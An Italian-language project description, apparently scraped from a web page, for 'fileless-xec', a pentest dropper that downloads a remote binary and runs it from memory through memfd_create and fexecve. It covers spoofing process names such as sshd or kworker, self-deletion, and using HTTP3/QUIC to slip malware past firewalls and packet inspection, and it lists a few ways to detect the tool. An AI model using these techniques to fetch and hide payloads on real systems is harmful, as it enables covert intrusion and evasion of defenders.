
Dropper stealth che esegue binari remoti senza salvarli su disco (supporto HTTP3, supporto ICMP, tracce invisibili, multipiattaforma,...)

👋 Sicuramente utile, principalmente per divertimento, grossolanamente ispirato dall'articolo di 0x00
Uso in pentest: fileless-xec viene utilizzato sulla macchina target per eseguire in modo stealth un file binario situato sulla macchina dell'attaccante
fileless-xec ci permette di eseguire un binario remoto su una macchina locale direttamente dalla memoria senza scriverli su disco
fileless-xec [binary_url] (equivalente a curl | sh per binari)fileless-xec -n /usr/sbin/sshd [binary_url]tty: fileless-xec --setsid [...]
writeNsleep situato su una macchina remota.
Per prima cosa avviamo un server HTTP Python sulla macchina remota.
Localmente usiamo fileless-xec e impersoniamo il nome /usr/sbin/sshd per l'esecuzione del binario writeNsleep (per stealth e divertimento). Una volta che writeNsleep si avvia, fileless-xec si cancella da solo (--self-remove)
fileless-xecfileless-xec
fileless-xec su Windowsfileless-xec si auto-rimuove una volta lanciatoIl file binario remoto viene archiviato localmente usando la syscall memfd_create, che lo memorizza all'interno di un disco di memoria non mappato nel file system (ovvero non è possibile trovarlo usando ls).
Nota: la syscall memfd_create non esiste per macOS.
Poi lo eseguiamo usando la syscall fexecve (poiché non è attualmente fornita dalla libreria syscall di Go, la implementiamo noi).
Con
fexecvepossiamo eseguire un programma, ma si fa riferimento al programma da eseguire usando un descrittore di file, invece del percorso completo.
Abilitalo con il flag -Q/http3.Puoi configurare un server web rootfs leggero che supporti http3 eseguendo go run ./test/http3/light-server.go -p LISTENING PORT (Questo è l'equivalente http3 di python3 -m http.server )usa test/http3/genkey.sh per generare cert e key.
|
QUIC UDP, noto anche come http3, è un protocollo Internet di nuova generazione che accelera le applicazioni web online sensibili ai ritardi, come la ricerca, lo streaming video, ecc., riducendo il tempo di andata e ritorno (RTT) necessario per connettersi a un server.
Poiché QUIC utilizza una crittografia proprietaria equivalente a TLS (questo cambierà in futuro con una versione standardizzata), i firewall di terza generazione che forniscono controllo e visibilità delle applicazioni incontrano difficoltà nel controllare e monitorare il traffico QUIC.
Se effettivamente utilizzi fileless-xec come dropper (Solo per scopi di test o con autorizzazione), probabilmente vorrai eseguire qualche tipo di malware o altro file che potrebbe essere rilevato dall'analisi dei pacchetti. Quindi, con QUIC abilitato puoi bypassare l'analisi dei pacchetti e OTTENERE un malware.
Inoltre, nel caso in cui il firewall venga utilizzato solo per consentire/bloccare il traffico, potrebbe accadere che le regole del firewall dimentichino il protocollo UDP, facendo passare le tue richieste sotto i radar.
Sebbene non sia presente sul disco di memoria, il programma in esecuzione può ancora essere rilevato usando il comando ps per esempio.
fileless-xec --name <fake_name> <binary_raw_url> di default il nome è [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
Potresti comunque essere rilevato con:
$ lsof | grep memfd
O anche opensnoop (ma non da execsnoop)
O un profilo seccomp che verifica la syscall execve (ma è molto invasivo dato che anche un comando sleep usa execve, per esempio)